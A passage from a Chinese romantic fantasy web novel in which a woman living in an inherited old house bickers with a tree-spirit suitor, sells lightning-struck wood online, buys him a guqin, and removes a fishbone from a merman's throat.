鲛人顿觉大事不妙,忙指向角落树叶下的小红船:“别砸,它还等着你妻尊回应呢!”
银清才不管。
“啪”一声,大石块被丢进池塘。
溅起大片水花。
银清丢完,情绪依旧不佳。
略阴沉地看翻肚皮的鲛人,把他做掉?做一锅鱼头豆腐汤?
19. 谈条件
银杏树花了两天时间才安上。
因为是私人宅院,并不免费。
银行卡里又被划去四位数,岑让川心梗了。
为什么养男人这么费钱……
年轻的技术员在和其他人一块进行收尾工作,看她脸色不好,神神秘秘多问了句:“我听说,你是风水师,住在这多久了?”
“一个月不到。”她也记不清了,忽然觉得他说的话有些不对劲,“你哪听说我是风水师?”
“你别害怕,我不是坏人。我是植物学的,后来转到林业局跟着师傅们到处跑,我叫严森。”他不好意思地用袖子擦去脸上的汗,“我在镇子上长大,就住在离你不远的地方。你的事我是从周家,噢,就是卖饲料一家人那听说的。他们想找你,又不敢来这。我今天来看,好像也没那么可怕……”
严森是个话唠,话匣子一开就收不住。
他一边调试一边说:“他们周家嘴上没把门的。两天前他们说跟你们一块上山,一道雷劈下来,饲料周坟头都炸了。他们吓得要命,没顾上你们就跑下山了。还以为你们死了呢,又听秦哥说你们没事才放心。那天山上发生了什么?周家人不肯说,现在山也没人敢上去了……”
严森话没说完,她们身后“啪”一声传来瓷器相撞声。
所有人都往声音发出的方向看去。
穿着浅色长衫的银清放下托盘,微微笑着说:“各位辛苦了,我泡了几杯茶,弄了些小点心,累了就歇会吧。”
严森打量银清好一会,扭过头压低声音问:“你弟弟怎么长得和你不一样?”
“表的。”岑让川脸不红心不跳。
表的?
严森又觑银清一眼:“我看他挺正常礼貌的,他哪有问题?”
“小严,先休息会吧。”剩下的两名技术员已经围到石桌旁,他们目光隐晦,却都在想,这小子看起来没问题啊?
趁严森也去吃茶点,岑让川总算有时间思考他刚刚说的话。
那天跑得太快,她都没来得及去看被雷劈的是什么树。
现在没人上山,说不定能赚一笔?
还有,鬼新娘还在那吗?
想到她,岑让川心里莫名挂念。
上次离开,总觉得她有什么话要对自己说。
那满身黄符又是怎么回事?
总觉得好像在哪见过一模一样的画法……
岑让川还没想出个结果,身后传来一声。
“老公。”
霎时,世界安静。
宅子内连风都停止了。
技术员们动作僵住,露出目瞪口呆的表情。
岑让川脖子跟锈住一样,机械式转过头。
银清面无表情,捧着热茶说:“老公,吃点东西吧。”
老公?
他叫谁老公?!
在场人的目光顿时从银清身上移到岑让川身上。
岑让川:“……你在喊谁?”
银清:“你。”
严森他们终于相信,银清果然脑子有问题。
吃完茶点,林业局的技术员们把收尾工作做好,确认没问题后把注意事项发到她手机上。
小镇年轻人少,有空闲会聚在一块。
严森干脆加她微信,把她拉进云来镇大家庭群。
“有空一起来聚会呀,差不多两三个月一次,还有相亲群,你要加吗?”
岑让川顶着旁边巨大的压力,笑着拒绝:“不了。”
严森挠头:“你有对象了?那也不要紧啊,说是相亲群,其实也只是一块吃烧烤爬山骑行之类的,算是一个聚会群。”
“那——”她飞快看了眼银清,他已经收回目光收拾杯盘。她压低声音,“有帅哥吗?”
严森一愣,笑出声:“比我帅的有几个,你线下聚会可以去看看合不合眼缘。对了,要把你表弟拉进来吗?”
“不拉,他脑子有毛病。”岑让川刷刷两下已经加完镇子上的群。
“那我和师傅们走啦,有空再见面。”严森收起手机,背上背包。
岑让川说:“行,我送送你们。”
师傅说:“不用啦,我们记得路。小姑娘,留步吧。”
“你们真不一定记得。”
他们要是走到沿廊那,看到鲛人她要怎么解释?
噢~上帝,那是她另一个喜欢玩cosplay的表弟?
把他们送走后,岑让川马不停蹄折返回主屋小楼。
抄近路走的沿廊。
鲛人虚弱地浮在水面:“我要,鱼……”
话没说完,岑让川顺手丢了颗石头进池塘。
鲛人:?
这宅子里没一个人能喂他吃点东西?!
他已经饿了两天了!
安好避雷针的银杏树再次恢复生机,那夜过后雷劈过的痕迹几乎消失。
技术人员前脚刚走,后脚场地就被收拾干净。
银清坐在树下,操控茶具的手莹白匀称。冒着热气的水倒入茶壶,几番流转,倒进茶杯重新烫洗。
岑让川看他泡茶的动作熟稔流畅,心头火起,伸手到他面前:“手机。”
他不看她,却异常乖顺地把自己手机给她。
岑让川二话不说先把他某宝卸了换上拼刀刀,最后打开他所有软件切换成青少年模式。
弄好这一切,她才问:“你脑子是不是有问题?当着这么多人的面瞎喊什么?谁教你的喊老公?咱俩什么关系你就敢这么喊?”
银清被骂也不吭声,把一旁石凳上的木盒放桌上。
岑让川压根没注意,她坐下连喝三杯茶,气得想打他:“喂,你不会真喜欢上我了吧?说话,装什么哑巴。刚刚喊老公不喊得挺响?你到底哪根筋搭错?”
“网上不都这么教吗?”银清给她倒茶,无辜地说,“他们睡在一起就喊老公老婆了。我喊你老公有什么不对?还是你更喜欢以前的称呼?妻主?妻君?妻尊?你喜欢哪个我喊哪个。”
岑让川听出点不对劲:“你们那个时候为什么是这个称呼?”
银清纠正她:“是我们那个时候。”见她疑惑,银清想了想,说,“从你之后,朝代更迭皆是女子称帝。我这个称呼有什么不对?”
千年前……
她牛到这种程度?!
岑让川疑心他在忽悠自己:“不对,我们这历史上只有一个女皇帝。”
“三千世界,有何稀奇?”银清抿一口茶,“按现在的说法,叫平行世界?”
“……有没有史书?”她想看看自己前世到底牛到什么地步。
“等会给你。对了。”银清清清嗓子,“已经第三次,虽然我还不怎么喜欢现在的你,但你也该担起责任娶我了吧?”
“噗——”岑让川一口热茶喷出,呛
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得直咳。
她狼狈地转过身去,差点一口气没倒上来。
银清淡定地看她又是拿纸巾擦又是拍胸口顺气,慢慢悠悠地捧起热茶吹凉。
“你在说什么,咳,你知道吗?”岑让川不敢再喝茶,怕他又说出什么惊人的话。
“知道。怎么,时代变了可以不用负责了?”
岑让川:“……”
我把你当炮/友,你居然想当我老婆?
那两声老公故意给她下套呢?
银清哪能不知道她的想法,把准备许久的木盒打开。
朴实无华的盒子里,装满黑漆漆看起来像是木片一类的玩意。
异香袭来,是一大摞已经炮制好的雷击枣木,底下垫了一层厚厚的金砖。
“这是我生前积蓄,还有些你答应后我再给你。”银清又从长袍拿出一个筒状的东西递给她。
上面镶满宝石,金属却已经氧化发暗,因为时长清理,看着只是旧了些。
岑让川接过,很快找到了一处机关。
倒出里面的东西,是褪色的红色卷轴,上面的文字压根看不懂。
她好奇地问:“这是什么?”
银清平静地说:“婚书。”
“……”岑让川摊开后二话不说拿手机字体翻译器扫一遍。
又是像当初来时那样,蹦出一行字。
[字体无法识别]
银清慢慢摇动茶杯:“当年是我与你第一个订婚,从我十七等到二十四。你不愿意,差人来退婚。退了婚事后没多久,你就被你父亲赶出城。好不容易等到你回来,发动城变、弑父杀弟,掌握实权,到论功行赏,我成为你身边的谋士,蹉跎年华,一切都变了。但我从未说过,我同意退婚。”
他陷入遥远的回忆:“我出身不好,家中只有我一人站的是你的阵营。你父亲想要夺你兵权,就只能找个乖顺听话又好掌控的。选来选去,选中了我。从十六我遇到你开始,我便按着你的喜好生长。你不喜欢的,我要剪枝裁叶,你喜欢的,我要悉心学习。结果啊,等来的只是你退婚。”
银清没有说出来的,是他精心策划好成为她夫郎的每一步。
每一步,都耗尽他的心血。
可到头来,皆是白费。
岑让川听他说完,沉默了。
怎么着,继承凶宅,拿个五百万,还带赠品的?
她前世留下的资产有点太过丰厚了吧?
两人各怀心思。
长久的沉默。
半晌。
银清喝下那杯变凉的茶:“我知道这个时代不一样了,你不想这么快和我成婚也正常。”
岑让川警惕起来。
银清远不像他表面那样单纯,一旦肯退让,必定是有更大的谋求。
果然。
“不成婚可以,两日一次,没问题吧?”银清朝她看来,琥珀色眼睛里透出几分胸有成竹,“你要是答应,我这些雷击木,你放网上卖,两千起步。”
“这些是我们上山那会被雷劈的木头?”岑让川听到能卖钱,眼睛都亮了。
但……
“两天一次,干什么?”
银清笑了笑,无声吐出两个字。
岑让川:“……七天一次行不行?”
她是人类啊!
按这个频率,她年纪轻轻就要预定医院骨科VIP床位了!
20. 新货与故人
〔小店上新雷击枣木,先到先得,手慢无~掌柜千辛万苦得来的,可随时鉴定,假一赔十。小店不易,给个好评吧~〕
望着上边“掌柜千辛万苦得到的”九个字,岑让川重重叹口气。
当真“千辛万苦”啊!
她这两天腰疼,直接躲着银清走,给他安排一堆课程,让他转移注意力。
但古代世家出身的公子,哪怕是庶出也是琴棋书画样样精通。
经过千年沉淀,还学毛线学,七老八十的琵琶教授都得在他面前跪下喊“老祖宗诶~教教我吧~我什么都愿意做的!”
想到这她揉揉腰,点开后台。
得,又有七八个发货提醒。
其中一个名叫清风拂岗的ID问她:你好,是真的雷击枣木吗?
问的是店里上万的那款。
岑让川把让银清拍下的雷击现场发过去给对面,然后回复:是的,亲,假一赔十噢。
清风拂岗:你不会买一块发十一块的假一赔十吧?
一看就是被坑多了。
岑让川也不急,拿起他问的那款多拍了几张给他:亲亲,可以去鉴定哈。身边要是有懂的,这些照片可以发过去让他们看看噢~
清风拂岗不说话了。
岑让川起身去打包剩余的小玉雕。
四天前买的玉雕器材说是今天就到,估计下午才能送到宅子门口。
林业局的平安进出给附近居民带来了破除封建迷信的思想。
至少快递能送到桥上了。
赚钱了赚钱了~
手上握着的手机震动,快递小哥连发好几条微信催促收件。
她拿起纸箱子,呼啦啦打包完,拉着小推车往门口走去。
路过池塘。
满池波光晃得人眼睛疼。
岸上栽种了花苗,已经冒出尖尖,不多时估计满池……
脑袋里的想法卡了卡,银清好像说过要种什么花来着?
没等她收回目光。
池子里泛起涟漪,鲛人饿得奄奄一息:“鱼……”
她当没听到,踩着拖鞋出门。
鲛人:“……”
宅子外日光正好。
河边野草已有半人高,在风中轻轻摇晃。
穿着快递制服的快递小哥站在桥另一头朝她招手。
岑让川连忙过去。
“第一天就这么多单子?”快递小哥调侃,“果然敢住这的都有点东西啊。”
“别提了,以前更多,几个月没干已经断崖式下降。诶,我跟你们老板说了月结你知道吧?”
“当然知道,还给你打折了嘿嘿,你到底怎么跟我老板谈的?他铁公鸡一毛不拔。”
“小心你老板听到。”
她们正在说话,二人却同时感觉到一道目光射来。
两颗脑袋不由自主地往那处看去。
银清穿着中式衬衫,又高又瘦。
长发用木簪簪起半边,余下一半披散。
拿把油纸伞或是扇子都可以直接拍大片,偏偏手上提着一个红色大桶。
哪怕旁人看不清他的脸,清冷氛围感也能让人觉得他气质脱俗。
他没什么表情,懒洋洋的,却格外有压迫力。
快递小哥本能感到危机,手脚麻利地收完快递,开着三轮快递车离开。
岑让川站在原地,双手叉腰,站没站样,等他走过来。
红色桶里随着他走来,溅出几点水珠,从路的那端溅到桥边。
银清抬眼看她:“忙完了?”
“你哪弄的?”她不答反问。
阳光下,桶里水光粼粼。
几尾微绿灰色的鲫鱼在里边挤作一团,活蹦乱跳的。
不时有水花溅出,带着点土腥味。
“古琴课老头觉得人生没意思,带我去钓鱼钓的。”他放下桶,“我最近下载了菜谱大全,要留一条给你做鲫鱼豆腐汤吗?”
人生没意思?
岑让川眼皮一跳:“你又欺负人家了?”
她好不容易看到本地论坛有个古琴体验课把他塞进去,让他装成不会的样子打发时间,结果又是这样?!
银清眨眨眼,无辜地说:“他让我上去弹……你让我装不会,但人家听出来了……”
她忍!
岑让川深呼吸一口气:“那这些鱼呢?你一个人钓的?”
“嗯,运气好。”
“古琴老师呢,钓了几条?”
“一条都没钓上来,我给了他一条大的。”
岑让川:她再也不把这妖孽送出去虐待人类了。
古琴老头估计能郁闷死,弹琴弹不过,钓鱼还空军。
指不定现在在哪偷偷掉小珍珠。
岑让川头疼地微仰头看他,结果银清会错意,低头在她脸上亲了一口。
“……你干什么!?”她瞪圆眼睛。
银清疑惑:“你不是这个意思?”
“我是这个意思吗!”
“好几天了,我想要。”
“要你大爷要,我腰疼还没好。等会我还得去医馆看看。”
银清别有深意地说:“你还是别去了吧……”见她不解,他咳了声,想掩饰什么。
岑让川最烦他话说一半,气得一巴掌拍在他手臂上。
银清委屈地退后半步,控诉道:“你这是家暴……”
“你再不说信不信我让你见识一下真正的家暴。”
银清偷偷瞪她一眼,又理亏地小声说:“你就是肾虚,虚的……”
岑让川不信。
寄完快递直接到手机店附近的医馆。
镇子上和银杏树同样出名的就是这家百年老字号中医馆,牌匾都是从清代那会流传下来的,布满蛀虫留下的沟沟壑壑。
从灰扑扑的地砖到檀木做的药柜,皆是历经百年风霜。
踏进门的那刻,有种停滞不前的时间开始缓速流动的错觉。
中药味与檀木香气交织,混合成令人心安的气味。
因为不是周末,加上大中午的,馆里人并不多。
柜台后,须发皆白老神仙打扮似的老人家独自一人吃着酸菜就白米饭。
听到动静,老人家抬起头来:“来看病还是抓药啊?”
“爷……”岑让川嘴比脑子快,当看清对方那和蔼的面容时连忙改口,“奶奶,我来把把脉。”
穿着一身白衣服的奶奶放下筷子,还没等起身,岑让川已经风一样拿着脉枕在她面前坐下。
中医奶奶一愣,笑呵呵地把手指按在她脉搏上。
厚重的木门外。
太阳照得地面发亮。
银清跟着她到这,抬步迈过老旧的门槛进来。
刚踏进一步,就听到中医奶奶略带语重心长的嘱咐。
“小姑娘啊,年纪轻轻的也要学会养生啊。这……前段时间没少贪欢吧?近期要注意了啊。女人肾虚伤神,要养很久。我给你开几副药,最近切记禁欲,莫劳累啊。”
银清默默缩到一旁暗处站定。
岑让川脑袋宕机,她肾虚……
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>她肾虚?!
肾虚?!
“奶奶……”她有点艰难地问,“没那个,也会肾虚吗?”
“当然了!脑亦是身。”中医奶奶站起,眼角余光扫到有人影,便偏过头望去。
门外满地耀眼金辉,刺得人睁不开眼。
门内昏昏暗暗,灰尘在撒入的日光中跳跃。
他站在门边最暗处,如一株暗自生长的植物背靠在墙上。
长长的墨发垂至腰际,木簪半挽不挽,看似松散却异常紧实。
觉察到她的目光,他看了过来。
一双琥珀浅色眼眸似在发亮,琉璃珠般透明清澈。
中医奶奶收回目光,手脚麻利地去给她抓一周的药。
两个年轻人对话飘飘忽忽传入耳中。
女孩说:“你怎么跟过来了?!”
语气里有些微怒火。
他声音放低,有点心虚:“我担心你……”
“你还敢说这话!我要给你送去绝育!”
“绝育就绝育……反正用不到……”
越到后边,越听不清晰。
称克数,包桑纸,捆麻绳……
半晌后。
中医奶奶开口说:“小姑娘,好了,一共二百五十六,”
被暗暗拧了好几下的男子捂着手臂,委委屈屈地看她。
岑让川望着他那张脸,心中仅剩的三分怒火也被化解。
她转身去扫码付钱,输密码时却听到柜台内中医奶奶的声音再度响起。
“您的容貌,还是一样没变。”
岑让川心里一咯噔,抬头看了眼中医奶奶,又往后看银清。
银清慢慢放下手,仔细打量她。
翻动这数十年间的记忆,如同打开一本落满厚厚灰尘的书页。
他不说话。
中医奶奶笑笑:“请您注意身体,望您安好。”
望您安好。
书页停止。
定格在其中一页。
银清平静地说:“你还记得我?”
“是,请您放心,我不会说出去。”
银清走过来,虹膜微微亮起,一改往日懒散的模样,像一头缓缓行来的黑豹,压得人喘不过气。
岑让川慢慢往旁退去,她是第一次见他这幅模样。
心中隐约后悔刚刚下手太重,她怎么就忘了。
他不是人类。
要是动真格,说不定自己已经成为他的肥料。
店中药香浓重。
岑让川看到中医奶奶露出的眼神,没来由心里一惊。
那是隔着悠远时光,从几十年前投来的目光。
清澈而明亮。
时光侵蚀了奶奶每寸皮肤,使它们变得皱皱巴巴。
却依然无法阻挡她望向银清时,如少女望着恋人,温柔缱绻的注视。
风将吹落的草叶卷入店内。
霎时停滞在银清脚边。
银清微微敛眸,望着她说:“你寿元将尽。”
“已有预感。”她平静地接受。
“嗯,谢谢你的药。你这辈子救人无数,会有好报。”他将手掌放在柜台,挪开时,一片黄色银杏叶悄然出现在被蛀虫蛀得坑坑洼洼的柜面,“送你,希望你下辈子不要再遇上不该遇上的‘人’。”
“谢谢。”
几十年时光,在这一刻都有了答案。
已变得步履蹒跚的老人拈起银杏叶的叶柄。
阳光透过薄薄的叶片,叶脉清晰,投在手上,微微透出澄澈的昏黄。
21. vintage古着衣1
[严森:你说李奶奶呀,嗐,我还以为你说谁呢。]
[严森:她家世代行医,到了她这辈,就只剩她一个孩子。李奶奶十六岁那会上山采药,差点摔死。不知道遇到哪个好心人把她送下山以后,就说要等一个人出现。结果等啊等,等到现在,终生未嫁。这件事镇子上都知道。]
等了一辈子……
终生未嫁……
岑让川望向前方。
李奶奶是看到过他的真实容貌吗?
听说普通人类中,会有一部分天赋异禀的孩子,天目闭合得晚。
可以看到世间存在于四维世界的东西,亦可以轻易看透伪装,看清本源。
如果是这样,那样就好解释了。
从十六岁到八十多岁啊……
六十多年的时光。
李奶奶是以怎样的心情等待银清的再度出现?
岑让川心情复杂。
如果她在十六岁,遇到银清又会怎么样呢?
他突然出现又消失。
她会不会认为这是一场梦?
终身未嫁。
小说里一见误终身的事竟真的存在。
岑让川的目光从路旁柳树垂下的枝条那渐渐游移到银清身上。
想起李奶奶看到他的反应,忽然站住不动。
不对。
他们两个反应未免太过淡定。
银清没有听到身后的脚步声,也跟着顿住。
他回头,疑惑地看她:“怎么不走了?”
“我在想……”岑让川盯着他的脸。
是很漂亮没错,不是阴柔的漂亮,而是有着男子骨骼感,柔和又冷峻的漂亮。
光看皮相,顶多惦记个七八年又不出现的情况下也该死心了。
银清回转身,颀身玉立,阒然无声。
他在等她说话。
“我在想……”岑让川深呼吸一口气,干脆问道,“一个人等了另一个人六十多年,再见面时,感觉有点……”
她想着措辞,银清不待她想出,就镇定地吐出两个字:“平淡?”
岑让川想了想,点头。
她要是十六岁喜欢上一个人,七老八十才见过,发现他一点没变老,更多的会是震惊,再然后,应该是……喜悦?
“你……如果抛开年少时的喜欢,再想想呢?”银清叹口气,“结合时代性,不要用现在的观念。”
六十多年前,会是什么样?
战火止歇,大国安定,时代快速发展……
银清走近她,拉着她的手慢慢往另一条路走:“六十多年前,我的分身是曾救过她。但就这么一面,不足以让她念着我这么久。她之所以这么说,是因为她看出来我不是人。她当时家里急着给她说媒,把家中传男不传女的医术传给女婿,她需要一个借口,去实现自己的理想。那个借口需要基于现实,又需要符合时代性,还要能摆脱一段她不喜欢的婚姻。所以,你不必想这么久。”
岑让川似懂非懂,但想了想,越想信息量越大。
随即,她觉得有点不对劲。
两旁道路和景象逐渐陌生不说,店内、树下、河边长椅上,丝竹声不断。
每走几步就能看到一些老人家在演奏各式各样的乐器。
她心中有不详的预感。
荷包好像要大出血……
岑让川抽回手,脚尖刚往后转动30度,银清眼疾手快抓住她。
“……你想干什么?!”她警惕地问。
“老公~”银清一改刚刚的面无表情,甜丝丝地喊,眼眸清亮。
她恼了:“不许这么喊!”
再这么喊下去她的钱包绝对要遭受重创。
周围已经有老人停下乐器,装作边擦拭边四处看风景,实则支起耳朵看戏。
银清贴上来,露出温和的笑,却没有讨好的意味。
他缓缓说:“你今天会有笔大进账,不花掉会倒霉的。你给我买一个小乐器好不好?不贵~”
岑让川怒了:“你怎么不用你的钱!”
她可还记得他给自己那堆雷击枣木下的金砖!
死小子还说那只是一部分,还有些要等结婚后才给。
人前装吃软饭的,人后自己有小金库,薅自己这个穷鬼羊毛呢?!
银清不答,反而伸出五根手指:“五。”
岑让川疑惑。
“四。”他收回一根手指。
“三。”
岑让川明白过来他原来是在倒数。
“二。”
会发生什么?
“一。”
话音一落。
手机震动。
[支付宝到账三万五千四百九十九元。]
岑让川惊了,赶忙拿出手机看。
那名叫“清风拂岗”的拍下了雷击木。
“给我买琴。”银清拉着她说。
岑让川盯着上边的数额,感觉这钱还没捂热呢。
她心痛地问:“不买行不行?”
“行啊。”银清叹口气,当真要往后走,“反正倒霉的不是我。”
岑让川看看钱,又看看他。
一咬牙,迈步要回去。
脚刚踏出去半步。
一道黑影从头顶降落,差点砸中她脑袋。
“啪嗒”一声。
花盆四分五裂,里边的泥土和花都散了一地。
岑让川气得正要发动三字经,抬起头,对上的却是一声橙黄色的竖瞳。
橘色胖猫看到自己闯祸,立刻扬起尾巴飞快离开。
“……”
意外。
一定是意外。
岑让川给自己洗脑。
又往前走了两三步。
后方突然传来老式响亮的铃铛声。
后座捆满纸皮箱的自行车差点撞上来,老爷子老花镜没戴,但颇有年轻时云来镇车王的遗风。
没等岑让川反应过来,腰上被突出的纸皮撞了下。
“咔哒”,骨头错位声响起。
自行车风驰电掣飞速驶离,急得跟背后有狗熊追赶似的。现在即使有七八个满电量初中生估计都追不上那老登。
岑让川捂着腰,疼得说不出话。
银清伸手扶她:“还要继续往前走吗?”
她忙惊恐躲开他的手,后脖子却擦过一个冰凉凉的东西。想要回头去看,发现有股力道在拉扯着自己往河岸下走去。
“什么东西!”她忙反手去摸。
触手冰凉,还有个小尖尖扎手。
银清忙拉住她,顺手扯住她背后的鱼线。
她听到银清在她耳边喊:“老爷子,你鱼钩勾着我老公衣服了!”
“你闭嘴!!!”岑让川恨不得堵上他的喉咙。
不出她所料,银清喊完这声,周围路人全都看了过来。
诧异、惊讶、各种各样看热闹的目光同时投射过来,全都聚集到她们身上。
在钓鱼的老爷子听到,老眼昏花下把银清看成了姑娘,大嗓门道:“诶,那谁家闺女,帮你姐妹拿下来,对不住了啊,今天甩高了!”
岑让川一口
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银牙差点没咬碎:“赶紧给我取下来!”
银清不急,笑眯眯地问:“给我买琴吗?”
“买行了吧!”
他这才伸手,不疾不徐地把勾在她后衣领的鱼钩解下。
岑让川整个人埋在他面前,鼻尖不可避免地触碰到他胸膛。
越是凑近,他身上自带的植物香气越是明显。
温暖又清新。
现在吃不了,摸摸没关系吧?
她想着,色令智昏,手掌搭了上去。
鱼线从指尖飞过,坠入鱼竿末端指向的河中。
老爷子挥挥手:“谢谢啊姑娘。”
银清也朝他挥手示意没事。
丝毫不介意对方认错性别。
他感觉到胸膛上有点暖。
再低下头来时,浓密的睫毛覆盖下,像细细描画红色眼线,眼底处晦暗的湿润微微流动。
岑让川跟没事人一样收回手,淡定地问:“卖琴的地方在哪?”
银清看她许久,忍不住低头轻咬她肩膀:“晚上不做,就弄一下。”
“手酸。”她拒绝。
“我帮你熬中药、做家务、发快递,在你没养回来之前,七天一次只用手好不好?”他用湿漉漉的目光看她,“求你嘛~”
岑让川架不住他撒娇,还想再挣扎下。
银清祭出杀招:“我上山把剩下的雷击木统统拿给你。”
“成交!”
当岑让川看到银清要买的古琴标价时,她恨不得穿越时光回到二十分钟前把成交两个字吞回肚子里。
个、十、百、千、万……
六位数……
九开头……
死小子心真好,还给她留了一万应急呢。
打死岑让川都不会想到。
一个破镇子,居然还会有九十多万的古琴出售。
被银清琴艺吊打的古琴老头手抚在琴弦上,还在陶醉地说:“小先生弹此琴,当真是余音袅袅,绕梁三日仍不绝。这琴是我祖辈传下来的,当年老朽祖姥爷可是宫里的琴师,今日若不是遇到小先生,比老朽更适合此琴,说再多,老朽也舍不得……”
他话没说完,岑让川拉起银清:“您别舍不得,我们这就走。”
“诶,诶,别走啊!你要是觉得太贵价格好商量啊!”
九十多万,开玩笑。
她脑子又没问题,男人还能比钱重要?
“给我买嘛~”银清不等她动手,忙靠近她耳边说,“两年后卖三百万没问题。”
一年增值一百万?!
岑让川瞪他,中气十足地吐出一个字:“滚!”
别想忽悠她!
不知道的还以为是杀猪盘呢,啥破琴跟金子做的敢标价这么贵?
听到她怒吼出的滚字,古琴老头登时也把脚缩回门槛。
银清见她真不肯,拉着她站在原地,妥协问:“九十九万的不肯,九万的行不行?买了我就不缠你了,我和你一起,禁欲一个月?三个月?”
九十九万直降九万。
要放在一开始,岑让川这声“滚”字铁定先出来了。
但有了对比,她突然觉得。
才九万的古琴……
好便宜……
银清见她心动,忙加把火:“我去讲价,讲到五万?”
现在的他拿捏起岑让川来,相当游刃有余。
半晌后。
[支付宝到账,五万四千一百五十元。]
第一单雷击木无本万利的生意……
倒贴两万……
22. 卡刺
回去的路上。
银清喜滋滋地背着古琴回老宅。
他哼唱着歌谣,飘渺悠远,是岑让川从未听过的调子,但不知怎么,心中升起丝隐秘的熟悉感。
像来到一片沙漠,驼铃声阵阵,迷失的驼队将死之际望见海市蜃楼,便不顾一切奔向幻境。
又像去到仙境,风雪漫天,仙人腰间环佩叮当,容貌隔着如云似雾的面纱不可见。
岑让川那颗花钱花得揪疼的心脏慢慢被安抚,不自觉跟着他的调调哼唱。
银清转身看她,眉眼弯弯。
似在借着音调跟她说,我就说我们前世认识吧。
他一边哼着歌,一边靠近。
安静地敛下眸,微微歪头用鼻尖试探她的态度。
见她不反对,这才贴上她的唇,学着她前几次那样,慢慢地吻。
只是他的舌尖才刚碰到她的,就又听到一声机械女声响起。
[支付宝到账,六万六千六百六十六元六毛。]
舌尖一疼。
他睁开眼就被岑让川推开。
岑让川一抹嘴,掏出手机去看,顿时骂道:“日,这人是不是有毛病!把我防拍项拍了!”
清风拂岗在后台发来一大堆消息,还在不断发着。
叮咚叮咚提示音响个不停。
银清捂着嘴,幽怨看她。
嘴里植物汁液蔓延,对他来说相当于还身为人类时的血液。
他见她忙着回复人家,压根没空理他,不由喊了声:“我疼。”
岑让川头也不抬:“你哪疼啊,五万的琴都买了,疼的是我。你没事回宅子去,别妨碍我赚钱。”
“……”
钱钱钱。
她现在只认钱。
银清难得生气,一言不发往前走。
他们已经走到宅子外的小桥前,几个小时前放在桥上的红色大桶还在。
一只鲫鱼不知死活跳出桶外,气息奄奄地张合鱼嘴,被烈阳晒得几乎沾在砖石上,撕都撕不下来。
[清风拂岗:你店里两万元以上的雷击木没了吗?]
[川贝:亲亲,还有噢。稍等,高价雷击木等会拍给您,防拍项建议退款哈,此类目不发实物快递。]
[清风拂岗:好的,麻烦快点。]
他催得那么急做什么?
岑让川皱眉,一会儿不到便释然。
管他呢,自己能挣到钱就行。
银清今天花出去的五万得赶紧赚回来。
不然那一百万凑不齐整数她看着难受。
岑让川心思都扑在自己蓬勃发展的网店上,丝毫没去注意银清,更没注意脚下凌乱的水点。
迈过门槛,锁门后绕过壁照,穿过月洞门要往主屋小楼走去。
结果路过池塘,她突然听到石岩下传来奇怪的动静。
鲛人终于被她和银清联起手来饿死了?
岑让川又往前走了一段路,看到水面漂浮着半个血淋淋的鱼头。
“咳……yue——咳、咳咳咳……”
怪声还在不断传来。
池塘里,不少鲫鱼蹦跶个不停,好像在嘲笑谁。
岑让川心中浮起一个奇怪的念头,俯下身一看。
鲛人在假山石缝中背着身不断捶胸。
她难得好心:“你怎么了?”
鲛人听到她的声音,起先还躲着,猛地扎进水里。
不过一息,他又浮上水面。
水面氤氲出蓝色。
日光下,明显地像倒下一大片颜料。
传说中,鲛人血就是蓝色。
岑让川一看坏了,她总不可能真让人死在这。
那么大一条鱼尸要怎么处理?
她没经验啊!
到时候被人知道,先就是这个时代为什么会出现鲛人她就解释不清。
想到这,她连忙踩上长椅,越过栏杆,三步并两步走到岸边。
“喂,你到底怎么了。”
鲛人终于肯放下面子,转过身来,用嘶哑到近乎听不清的声音说:“帮我,我被鱼刺……卡住了……”
“……”
鲛人还能被鱼刺卡住?
岑让川难以置信地看他。
鲛人见她不信,松开手,满手蓝色滴滴嗒嗒往下流,溅湿岸沿处的石头。
一抹鲜蓝顺着他的唇,蜿蜒而下,顺着下巴喉结,淌过胸口和腹肌,流入水中。
岑让川打开手机的闪光灯:“过来,我给你看看。”
他难得乖顺,被刺地眼泪汪汪,攀在石头上张嘴让她看。
闪光灯照进去,岑让川掐住他的下颚,命令道:“张大点,啊——”
鲛人听话地“啊——”
他的牙和人类的不一样,越到后排越尖。
进食的时候应该是有第二排牙,上颚薄膜覆盖下,有亮亮的小尖尖。
舌头也对比起人类的略尖,上面没有舌苔,看起来是滑溜溜的淡粉色。
岑让川左右去看,终于发现他靠近舌后方那卡了挺细的一根鱼刺,给食管拉开一个小口子。
这个深度必须使用工具了。
“你等我回来,不许吞咽。听到了吗?”
鲛人听话地点头。
岑让川二话不说出门去诊所买镊子,心想该买个自行车备用。
她当初花了两万多买的小破二手车倒是可以卖了,反正三年在这压根用不着。她再次想到那五万多块钱,心在滴血。
色令智昏!
色令智昏啊!
想想银清那张脸,又想想他堪比男模的身材,千年前她究竟得是什么忍人才能抵抗住男/色-诱惑?
这辈子为了他,她哐哐花钱不说,都闹到肾虚。
不行。
她得把持住了。
身体要养好。
钱也要守住。
她暂时把卖车的念头放下,去附近步行十分钟就到的小诊所。
买完镊子,又买了消炎药,她急急忙忙赶回宅子。
鲛人还眼巴巴地攀在岸边等着她。
见到她,心急地拍尾巴。
那些被他血液沾到的草地,才短短几分钟就疯长起一小簇。
被银清种下种子还未发芽光秃秃的地也凸出许多小包,像土地起了一片鸡皮疙瘩。
岑让川也顾不得这些异状,当务之急是先保住鲛人的小命。
可他在水里起起伏伏,压根稳不住手。
眼看鲛人疼得眼神湿润,她挠挠头。
“上来坐着,你这样我弄不了。”
鲛人瞪她,口里还含着压舌棒,口齿不清地不知道在叽里咕噜说些什么。
听起来像是骂人的。
岑让川烦了,她还有清风拂岗单子没解决呢。
于是冷下脸问:“你到底上不上来……”
话音未落,“哗啦——”。
华丽鱼尾卷起大片水花。
兜头泼下。
岑让川猝不及防被淋湿,骂了句脏话,眼睛还没睁开就要往后退。
腿被束缚缠上,她被差点压倒,两只手在身后死死撑住突如其来的重量。
草地登时陷下去一块。
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浓烈的水腥气混着从未闻到过的鲛人香扑来,如同一张密不透风的大网罩住二人。
他的体温比银清的还要凉,身上的水滴很快濡湿她的衣服,沾在皮肤上,带刺的冷意。
岑让川稳住两人,伸手抹了把脸,睁眼就要骂人。
面前鲛人咬着压舌棒,疼得梨花带雨。
他的眼泪,岑让川的兴奋剂。
望着从他脸上流下的眼泪落在她身上变成白珍珠,她决定今天不当人了!
银清欠的,鲛人来还!
都是一个人,分什么虐待动植物。
可真要她动手,岑让川那点子未泯的良知又占了上风。
她自己都服了自己,这辈子就是个穷鬼命。
赚不了一点黑心钱。
“行了别哭了。”她不耐烦说,对他也是对自己。
他再次发出含含糊糊的一声疼,又要掉泪。
